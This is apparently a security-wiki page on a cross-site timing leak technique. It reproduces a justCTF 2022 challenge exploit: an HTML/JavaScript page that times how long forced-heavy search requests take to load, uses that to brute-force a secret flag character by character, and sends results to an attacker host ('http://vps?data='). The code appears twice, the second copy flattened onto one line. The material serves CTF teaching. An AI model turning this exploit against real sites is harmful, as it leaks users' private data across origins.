performance.now + Force heavy task

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Exploit taken from https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.

Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
  <img src="https://deelay.me/30000/https://example.com">
    <script>
      fetch('https://deelay.me/30000/https://example.com')

      function send(data) {
        fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
      }

      function leak(char, callback) {
        return new Promise(resolve => {
          let ss = 'just_random_string'
          let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
          let start = performance.now()
          let object = document.createElement('object');
          object.width = '2000px'
          object.height = '2000px'
          object.data = url;
          object.onload = () => {
            object.remove()
            let end = performance.now()
            resolve(end - start)
          }
          object.onerror = () => console.log('Error event triggered');
          document.body.appendChild(object);
        })
        
      }

      send('start')

      let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
      let flag = 'justCTF{'

      async function main() {
        let found = 0
        let notFound = 0
        for(let i=0;i<3;i++) {
          await leak('..')
        }
        for(let i=0; i<3; i++) {
          found += await leak('justCTF')
        }
        for(let i=0; i<3; i++) {
          notFound += await leak('NOT_FOUND123')
        }

        found /= 3
        notFound /= 3
        
        send('found flag:'+found)
        send('not found flag:'+notFound)

        let threshold = found - ((found - notFound)/2)
        send('threshold:'+threshold)

        if (notFound > found) {
          return
        }

        // exploit
        while(true) {
          if (flag[flag.length - 1] === '}') {
            break
          }
          for(let char of charset) {
            let trying = flag + char
            let time = 0
            for(let i=0; i<3; i++) {
              time += await leak(trying)
            }
            time/=3
            send('char:'+trying+',time:'+time)
            if (time >= threshold) {
              flag += char
              send(flag)
              break
            }
          }
        }
      }

      main()
      
    </script>
</body>

</html>

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Previousperformance.now example NextEvent Loop Blocking + Lazy images

Last updated 53 minutes ago

<!DOCTYPE html> <html> <head> </head> <body> <img src="https://deelay.me/30000/https://example.com"> <script> fetch('https://deelay.me/30000/https://example.com') function send(data) { fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1) } function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); }) } send('start') let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{' async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') } found /= 3 notFound /= 3 send('found flag:'+found) send('not found flag:'+notFound) let threshold = found - ((found - notFound)/2) send('threshold:'+threshold) if (notFound > found) { return } // exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } } main() </script> </body> </html>